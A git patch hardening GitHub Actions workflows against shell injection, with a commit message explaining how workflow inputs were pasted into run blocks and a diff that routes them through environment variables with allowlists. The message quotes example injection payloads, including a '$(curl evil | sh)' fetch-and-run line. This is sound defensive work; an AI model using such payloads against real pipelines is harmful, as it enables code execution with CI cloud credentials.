From ce437a391786c1dcc2b4eeea05e0664f184cd286 Mon Sep 17 00:00:00 2001 From: Cristian Magherusan-Stanciu Date: Sat, 8 Aug 2026 00:16:41 +0200 Subject: [PATCH] sec(ci): stop interpolating migration inputs into run blocks `database-migration.yml` pasted `${{ inputs.direction }}` and `${{ inputs.steps }}` directly into the shell source of every `migrate-*` job's `run:` block. GitHub substitutes `${{ }}` expressions into the script text before bash ever parses it, so a `steps` value such as `1; touch pwned #` executed as code on the `direction=up` path, which had no guard at all. The `direction=down` path did have a regex guard, but the guard itself ran post-interpolation: `[[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]` means the payload is already substituted into the condition before bash evaluates it, so a value like `$(curl evil | sh)` runs as part of evaluating the guard's own `[[ ... ]]` test, before the guard can reject anything. The guard validates the output of an already-executed payload, not the payload itself. Reproduced both cases locally: rendering the pre-fix template with a malicious `steps` value and executing it created a marker file in both the unguarded `up` path and the "rejected" `down` path (the guard printed its refusal and exited 1, but the injected command had already run by then). Changes to database-migration.yml: - Route every `inputs.*` value through `env:` and reference the quoted shell variable, so GitHub only ever substitutes them into a scalar env var assignment, never into script text. No `${{ }}` remains in any `run:` block in this file. Re-running the same payloads through the fixed logic (as real env vars, matching how the runner actually passes them) confirms both are now rejected as inert data with no execution. - Validate `steps` for `direction=up` too, not only `down` (defense in depth, both in `validate` and again in each `migrate-*` job). - Validate the `workflow_call` string inputs (`cloud`, `environment`, `direction`) against an explicit allowlist in `validate`. `workflow_dispatch` constrains these via `type: choice`, enforced server-side, but `workflow_call` typed them as free-form strings with no such enforcement. - Drop `id-token: write` to job level, granted only to the environment-bound `migrate-aws`/`migrate-gcp`/`migrate-azure` jobs. `validate` and `summary` never authenticate to a cloud provider. Also fixed the byte-identical injection in deploy-gcp.yml, deploy-aws-fargate.yml and deploy-azure.yml: each `prepare` job's "Determine environment" step had the exact line `echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT`, already fixed in deploy-aws-lambda.yml by #1657 but left unpatched in these three siblings. Unlike database-migration.yml's migrate-* jobs, `prepare` in these three files is both ungated (no `environment:` binding) and still holds workflow-level `id-token: write`, so this was the more severe ungated-and-credentialed shape. Mirrored the exact pattern #1657 already established and merged: case-based dispatch through `env:` plus the same workflow_call allowlist check. Verified with actionlint (v1.7.12): diffed findings against each unmodified file on origin/main. Zero new findings introduced anywhere; every remaining finding is pre-existing shellcheck debt in code this change does not touch. `act -l` confirms all four job graphs still parse. Closes #1647 --- .github/workflows/database-migration.yml | 248 ++++++++++++++++------- .github/workflows/deploy-aws-fargate.yml | 30 ++- .github/workflows/deploy-azure.yml | 30 ++- .github/workflows/deploy-gcp.yml | 30 ++- 4 files changed, 249 insertions(+), 89 deletions(-) diff --git a/.github/workflows/database-migration.yml b/.github/workflows/database-migration.yml index 29b39b479..b2eb6cf14 100644 --- a/.github/workflows/database-migration.yml +++ b/.github/workflows/database-migration.yml @@ -23,8 +23,12 @@ name: Database Migration +# Least privilege by default: only the jobs that actually authenticate to a +# cloud provider get `id-token: write`, and every one of those jobs is bound to +# a deployment environment (`aws-db-`, `gcp-db-`, `azure-db-`). +# `validate` and `summary` never authenticate, so they stay on the `contents: +# read` floor below. permissions: - id-token: write contents: read on: @@ -77,6 +81,8 @@ jobs: validate: name: Validate Migration Request runs-on: ubuntu-latest + permissions: + contents: read outputs: is_safe: ${{ steps.check.outputs.is_safe }} @@ -89,16 +95,60 @@ jobs: - name: Safety checks id: check env: + CLOUD: ${{ inputs.cloud }} ENVIRONMENT: ${{ inputs.environment }} DIRECTION: ${{ inputs.direction }} STEPS: ${{ inputs.steps }} CONFIRM: ${{ inputs.confirm }} run: | + set -uo pipefail IS_SAFE=true + # `workflow_call` never declares a `steps` input, so on that path this + # renders empty. Treat that the same as the explicit default of "0" + # (apply/rollback everything) rather than rejecting it outright. + STEPS="${STEPS:-0}" + + # workflow_dispatch's cloud/environment/direction are `type: choice`, + # enforced server-side before the run starts. workflow_call's are plain + # `type: string` with no such enforcement, so re-validate them here + # against the same allowlist regardless of which trigger fired. + case "$CLOUD" in + aws|gcp|azure|all) ;; + *) + echo "❌ Invalid cloud provider: '$CLOUD' (expected aws, gcp, azure, or all)" + IS_SAFE=false + ;; + esac + + case "$ENVIRONMENT" in + dev|staging|prod) ;; + *) + echo "❌ Invalid environment: '$ENVIRONMENT' (expected dev, staging, or prod)" + IS_SAFE=false + ;; + esac + + case "$DIRECTION" in + up|down) ;; + *) + echo "❌ Invalid direction: '$DIRECTION' (expected up or down)" + IS_SAFE=false + ;; + esac + # Check if migrations directory exists - if [ ! -d "${{ env.MIGRATIONS_PATH }}" ]; then - echo "❌ Migrations directory not found: ${{ env.MIGRATIONS_PATH }}" + if [ ! -d "$MIGRATIONS_PATH" ]; then + echo "❌ Migrations directory not found: $MIGRATIONS_PATH" + IS_SAFE=false + fi + + # `steps` must be a non-negative integer regardless of direction: 0 + # means "everything" for direction=up, and direction=down requires an + # explicit positive value (checked separately below). Reject anything + # else before it can reach a migrate invocation in either direction. + if ! [[ "$STEPS" =~ ^(0|[1-9][0-9]*)$ ]]; then + echo "❌ 'steps' must be a non-negative integer (got '$STEPS')." IS_SAFE=false fi @@ -107,7 +157,7 @@ jobs: # entire schema, so it is rejected here for direction=down. if [[ "$DIRECTION" == "down" ]]; then if ! [[ "$STEPS" =~ ^[1-9][0-9]*$ ]]; then - echo "❌ direction=down requires an explicit positive 'steps' value (got '${STEPS:-}')." + echo "❌ direction=down requires an explicit positive 'steps' value (got '$STEPS')." echo "Rolling back ALL migrations at once is not supported by this workflow." IS_SAFE=false fi @@ -124,21 +174,21 @@ jobs: fi # Check migration files - if [ -d "${{ env.MIGRATIONS_PATH }}" ]; then - UP_COUNT=$(ls -1 ${{ env.MIGRATIONS_PATH }}/*.up.sql 2>/dev/null | wc -l) - DOWN_COUNT=$(ls -1 ${{ env.MIGRATIONS_PATH }}/*.down.sql 2>/dev/null | wc -l) + if [ -d "$MIGRATIONS_PATH" ]; then + UP_COUNT=$(ls -1 "$MIGRATIONS_PATH"/*.up.sql 2>/dev/null | wc -l) + DOWN_COUNT=$(ls -1 "$MIGRATIONS_PATH"/*.down.sql 2>/dev/null | wc -l) echo "Migration files found:" echo " Up migrations: $UP_COUNT" echo " Down migrations: $DOWN_COUNT" - if [ $UP_COUNT -eq 0 ]; then + if [ "$UP_COUNT" -eq 0 ]; then echo "❌ No migration files found" IS_SAFE=false fi fi - echo "is_safe=$IS_SAFE" >> $GITHUB_OUTPUT + echo "is_safe=$IS_SAFE" >> "$GITHUB_OUTPUT" if [[ "$IS_SAFE" != "true" ]]; then echo "Validation failed; refusing to run migrations." @@ -146,18 +196,26 @@ jobs: fi - name: Display migration plan + env: + CLOUD: ${{ inputs.cloud }} + ENVIRONMENT: ${{ inputs.environment }} + DIRECTION: ${{ inputs.direction }} + STEPS: ${{ inputs.steps || 'all' }} run: | - echo "## Database Migration Plan" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "**Cloud:** ${{ inputs.cloud }}" >> $GITHUB_STEP_SUMMARY - echo "**Environment:** ${{ inputs.environment }}" >> $GITHUB_STEP_SUMMARY - echo "**Direction:** ${{ inputs.direction }}" >> $GITHUB_STEP_SUMMARY - echo "**Steps:** ${{ inputs.steps || 'all' }}" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - - if [[ "${{ inputs.environment }}" == "prod" ]] && [[ "${{ inputs.direction }}" == "down" ]]; then - echo "⚠️ **WARNING:** This will rollback migrations on PRODUCTION!" >> $GITHUB_STEP_SUMMARY - fi + set -uo pipefail + { + echo "## Database Migration Plan" + echo "" + echo "**Cloud:** $CLOUD" + echo "**Environment:** $ENVIRONMENT" + echo "**Direction:** $DIRECTION" + echo "**Steps:** $STEPS" + echo "" + + if [[ "$ENVIRONMENT" == "prod" ]] && [[ "$DIRECTION" == "down" ]]; then + echo "⚠️ **WARNING:** This will rollback migrations on PRODUCTION!" + fi + } >> "$GITHUB_STEP_SUMMARY" # Run AWS migrations migrate-aws: @@ -167,6 +225,9 @@ jobs: if: | needs.validate.outputs.is_safe == 'true' && (inputs.cloud == 'aws' || inputs.cloud == 'all') + permissions: + id-token: write + contents: read environment: name: aws-db-${{ inputs.environment }} @@ -205,35 +266,50 @@ jobs: - name: Run migrations env: DB_PASSWORD: ${{ secrets.DB_PASSWORD_AWS }} + DB_ENDPOINT: ${{ steps.get-endpoint.outputs.endpoint }} + DIRECTION: ${{ inputs.direction }} + STEPS: ${{ inputs.steps }} run: | - DB_URL="postgresql://cudly:${DB_PASSWORD}@${{ steps.get-endpoint.outputs.endpoint }}:5432/cudly?sslmode=require" - - if [[ "${{ inputs.direction }}" == "up" ]]; then - if [[ "${{ inputs.steps }}" == "0" ]]; then + set -uo pipefail + DB_URL="postgresql://cudly:${DB_PASSWORD}@${DB_ENDPOINT}:5432/cudly?sslmode=require" + + # `validate` already rejects a malformed `steps`/`direction` before this + # job is ever reached, but this job sits behind an environment gate and + # is the thing that actually runs `migrate`, so the checks are repeated + # here against the re-parsed shell variable as defense in depth. + STEPS="${STEPS:-0}" + + if [[ "$DIRECTION" == "up" ]]; then + if ! [[ "$STEPS" =~ ^(0|[1-9][0-9]*)$ ]]; then + echo "❌ 'steps' must be a non-negative integer (got '$STEPS')." + exit 1 + fi + if [[ "$STEPS" == "0" ]]; then echo "Applying all pending migrations..." - migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up + migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up else - echo "Applying ${{ inputs.steps }} migration(s)..." - migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up ${{ inputs.steps }} + echo "Applying $STEPS migration(s)..." + migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up "$STEPS" fi else - # Defense in depth: validate already rejects this, but never run 'down -all'. - if ! [[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]; then + if ! [[ "$STEPS" =~ ^[1-9][0-9]*$ ]]; then echo "❌ Refusing to roll back without an explicit positive 'steps' value." exit 1 fi - echo "Rolling back ${{ inputs.steps }} migration(s)..." - migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" down ${{ inputs.steps }} + echo "Rolling back $STEPS migration(s)..." + migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" down "$STEPS" fi - name: Get migration version env: DB_PASSWORD: ${{ secrets.DB_PASSWORD_AWS }} + DB_ENDPOINT: ${{ steps.get-endpoint.outputs.endpoint }} run: | - DB_URL="postgresql://cudly:${DB_PASSWORD}@${{ steps.get-endpoint.outputs.endpoint }}:5432/cudly?sslmode=require" - VERSION=$(migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" version 2>&1 || echo "unknown") + set -uo pipefail + DB_URL="postgresql://cudly:${DB_PASSWORD}@${DB_ENDPOINT}:5432/cudly?sslmode=require" + VERSION=$(migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" version 2>&1 || echo "unknown") echo "Current migration version: $VERSION" - echo "MIGRATION_VERSION=$VERSION" >> $GITHUB_ENV + echo "MIGRATION_VERSION=$VERSION" >> "$GITHUB_ENV" # Run GCP migrations migrate-gcp: @@ -243,6 +319,9 @@ jobs: if: | needs.validate.outputs.is_safe == 'true' && (inputs.cloud == 'gcp' || inputs.cloud == 'all') + permissions: + id-token: write + contents: read environment: name: gcp-db-${{ inputs.environment }} @@ -284,22 +363,31 @@ jobs: - name: Run migrations env: DB_PASSWORD: ${{ secrets.DB_PASSWORD_GCP }} + DB_ENDPOINT: ${{ steps.get-endpoint.outputs.endpoint }} + DIRECTION: ${{ inputs.direction }} + STEPS: ${{ inputs.steps }} run: | - DB_URL="postgresql://cudly:${DB_PASSWORD}@${{ steps.get-endpoint.outputs.endpoint }}:5432/cudly?sslmode=require" + set -uo pipefail + DB_URL="postgresql://cudly:${DB_PASSWORD}@${DB_ENDPOINT}:5432/cudly?sslmode=require" - if [[ "${{ inputs.direction }}" == "up" ]]; then - if [[ "${{ inputs.steps }}" == "0" ]]; then - migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up + STEPS="${STEPS:-0}" + + if [[ "$DIRECTION" == "up" ]]; then + if ! [[ "$STEPS" =~ ^(0|[1-9][0-9]*)$ ]]; then + echo "❌ 'steps' must be a non-negative integer (got '$STEPS')." + exit 1 + fi + if [[ "$STEPS" == "0" ]]; then + migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up else - migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up ${{ inputs.steps }} + migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up "$STEPS" fi else - # Defense in depth: validate already rejects this, but never run 'down -all'. - if ! [[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]; then + if ! [[ "$STEPS" =~ ^[1-9][0-9]*$ ]]; then echo "❌ Refusing to roll back without an explicit positive 'steps' value." exit 1 fi - migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" down ${{ inputs.steps }} + migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" down "$STEPS" fi # Run Azure migrations @@ -310,6 +398,9 @@ jobs: if: | needs.validate.outputs.is_safe == 'true' && (inputs.cloud == 'azure' || inputs.cloud == 'all') + permissions: + id-token: write + contents: read environment: name: azure-db-${{ inputs.environment }} @@ -349,51 +440,72 @@ jobs: - name: Run migrations env: DB_PASSWORD: ${{ secrets.DB_PASSWORD_AZURE }} + DB_ENDPOINT: ${{ steps.get-endpoint.outputs.endpoint }} + DIRECTION: ${{ inputs.direction }} + STEPS: ${{ inputs.steps }} run: | - DB_URL="postgresql://cudly:${DB_PASSWORD}@${{ steps.get-endpoint.outputs.endpoint }}:5432/cudly?sslmode=require" + set -uo pipefail + DB_URL="postgresql://cudly:${DB_PASSWORD}@${DB_ENDPOINT}:5432/cudly?sslmode=require" - if [[ "${{ inputs.direction }}" == "up" ]]; then - if [[ "${{ inputs.steps }}" == "0" ]]; then - migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up + STEPS="${STEPS:-0}" + + if [[ "$DIRECTION" == "up" ]]; then + if ! [[ "$STEPS" =~ ^(0|[1-9][0-9]*)$ ]]; then + echo "❌ 'steps' must be a non-negative integer (got '$STEPS')." + exit 1 + fi + if [[ "$STEPS" == "0" ]]; then + migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up else - migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" up ${{ inputs.steps }} + migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" up "$STEPS" fi else - # Defense in depth: validate already rejects this, but never run 'down -all'. - if ! [[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]; then + if ! [[ "$STEPS" =~ ^[1-9][0-9]*$ ]]; then echo "❌ Refusing to roll back without an explicit positive 'steps' value." exit 1 fi - migrate -path ${{ env.MIGRATIONS_PATH }} -database "$DB_URL" down ${{ inputs.steps }} + migrate -path "$MIGRATIONS_PATH" -database "$DB_URL" down "$STEPS" fi # Summary summary: name: Migration Summary runs-on: ubuntu-latest + permissions: + contents: read needs: [validate, migrate-aws, migrate-gcp, migrate-azure] if: always() steps: - name: Post summary + env: + CLOUD: ${{ inputs.cloud }} + ENVIRONMENT: ${{ inputs.environment }} + DIRECTION: ${{ inputs.direction }} + RESULT_AWS: ${{ needs.migrate-aws.result }} + RESULT_GCP: ${{ needs.migrate-gcp.result }} + RESULT_AZURE: ${{ needs.migrate-azure.result }} run: | - echo "## Database Migration Results" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "**Cloud:** ${{ inputs.cloud }}" >> $GITHUB_STEP_SUMMARY - echo "**Environment:** ${{ inputs.environment }}" >> $GITHUB_STEP_SUMMARY - echo "**Direction:** ${{ inputs.direction }}" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - - echo "### Results" >> $GITHUB_STEP_SUMMARY - - if [[ "${{ inputs.cloud }}" == "aws" ]] || [[ "${{ inputs.cloud }}" == "all" ]]; then - echo "- AWS: ${{ needs.migrate-aws.result }}" >> $GITHUB_STEP_SUMMARY - fi + set -uo pipefail + { + echo "## Database Migration Results" + echo "" + echo "**Cloud:** $CLOUD" + echo "**Environment:** $ENVIRONMENT" + echo "**Direction:** $DIRECTION" + echo "" + + echo "### Results" + + if [[ "$CLOUD" == "aws" ]] || [[ "$CLOUD" == "all" ]]; then + echo "- AWS: $RESULT_AWS" + fi - if [[ "${{ inputs.cloud }}" == "gcp" ]] || [[ "${{ inputs.cloud }}" == "all" ]]; then - echo "- GCP: ${{ needs.migrate-gcp.result }}" >> $GITHUB_STEP_SUMMARY - fi + if [[ "$CLOUD" == "gcp" ]] || [[ "$CLOUD" == "all" ]]; then + echo "- GCP: $RESULT_GCP" + fi - if [[ "${{ inputs.cloud }}" == "azure" ]] || [[ "${{ inputs.cloud }}" == "all" ]]; then - echo "- Azure: ${{ needs.migrate-azure.result }}" >> $GITHUB_STEP_SUMMARY - fi + if [[ "$CLOUD" == "azure" ]] || [[ "$CLOUD" == "all" ]]; then + echo "- Azure: $RESULT_AZURE" + fi + } >> "$GITHUB_STEP_SUMMARY" diff --git a/.github/workflows/deploy-aws-fargate.yml b/.github/workflows/deploy-aws-fargate.yml index 4db561048..d4c6343c3 100644 --- a/.github/workflows/deploy-aws-fargate.yml +++ b/.github/workflows/deploy-aws-fargate.yml @@ -73,14 +73,30 @@ jobs: steps: - name: Determine environment id: set-env + env: + EVENT_NAME: ${{ github.event_name }} + INPUT_ENVIRONMENT: ${{ inputs.environment }} run: | - if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then - echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT - elif [[ "${{ github.event_name }}" == "workflow_call" ]]; then - echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT - else - echo "environment=dev" >> $GITHUB_OUTPUT - fi + set -euo pipefail + INPUT_ENVIRONMENT="${INPUT_ENVIRONMENT:-}" + + case "$EVENT_NAME" in + workflow_dispatch|workflow_call) ENVIRONMENT="$INPUT_ENVIRONMENT" ;; + *) ENVIRONMENT=dev ;; + esac + + # workflow_dispatch constrains this to the declared `choice` options, + # but the workflow_call input is typed as a free-form string, so the + # allowlist is enforced here rather than assumed. + case "$ENVIRONMENT" in + dev|staging|prod) ;; + *) + echo "::error::Refusing unknown environment: $ENVIRONMENT" + exit 1 + ;; + esac + + echo "environment=$ENVIRONMENT" >> "$GITHUB_OUTPUT" - name: Set image tag id: set-tag diff --git a/.github/workflows/deploy-azure.yml b/.github/workflows/deploy-azure.yml index 4bf0a96f2..04b1c071f 100644 --- a/.github/workflows/deploy-azure.yml +++ b/.github/workflows/deploy-azure.yml @@ -74,14 +74,30 @@ jobs: steps: - name: Determine environment id: set-env + env: + EVENT_NAME: ${{ github.event_name }} + INPUT_ENVIRONMENT: ${{ inputs.environment }} run: | - if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then - echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT - elif [[ "${{ github.event_name }}" == "workflow_call" ]]; then - echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT - else - echo "environment=dev" >> $GITHUB_OUTPUT - fi + set -euo pipefail + INPUT_ENVIRONMENT="${INPUT_ENVIRONMENT:-}" + + case "$EVENT_NAME" in + workflow_dispatch|workflow_call) ENVIRONMENT="$INPUT_ENVIRONMENT" ;; + *) ENVIRONMENT=dev ;; + esac + + # workflow_dispatch constrains this to the declared `choice` options, + # but the workflow_call input is typed as a free-form string, so the + # allowlist is enforced here rather than assumed. + case "$ENVIRONMENT" in + dev|staging|prod) ;; + *) + echo "::error::Refusing unknown environment: $ENVIRONMENT" + exit 1 + ;; + esac + + echo "environment=$ENVIRONMENT" >> "$GITHUB_OUTPUT" # Build Docker image (via Terraform build module) and deploy build-and-deploy: diff --git a/.github/workflows/deploy-gcp.yml b/.github/workflows/deploy-gcp.yml index a34f9aca6..b5357a029 100644 --- a/.github/workflows/deploy-gcp.yml +++ b/.github/workflows/deploy-gcp.yml @@ -65,14 +65,30 @@ jobs: steps: - name: Determine environment id: set-env + env: + EVENT_NAME: ${{ github.event_name }} + INPUT_ENVIRONMENT: ${{ inputs.environment }} run: | - if [[ "${{ github.event_name }}" == "workflow_dispatch" ]]; then - echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT - elif [[ "${{ github.event_name }}" == "workflow_call" ]]; then - echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT - else - echo "environment=dev" >> $GITHUB_OUTPUT - fi + set -euo pipefail + INPUT_ENVIRONMENT="${INPUT_ENVIRONMENT:-}" + + case "$EVENT_NAME" in + workflow_dispatch|workflow_call) ENVIRONMENT="$INPUT_ENVIRONMENT" ;; + *) ENVIRONMENT=dev ;; + esac + + # workflow_dispatch constrains this to the declared `choice` options, + # but the workflow_call input is typed as a free-form string, so the + # allowlist is enforced here rather than assumed. + case "$ENVIRONMENT" in + dev|staging|prod) ;; + *) + echo "::error::Refusing unknown environment: $ENVIRONMENT" + exit 1 + ;; + esac + + echo "environment=$ENVIRONMENT" >> "$GITHUB_OUTPUT" # Build Docker image (via Terraform build module) and deploy build-and-deploy: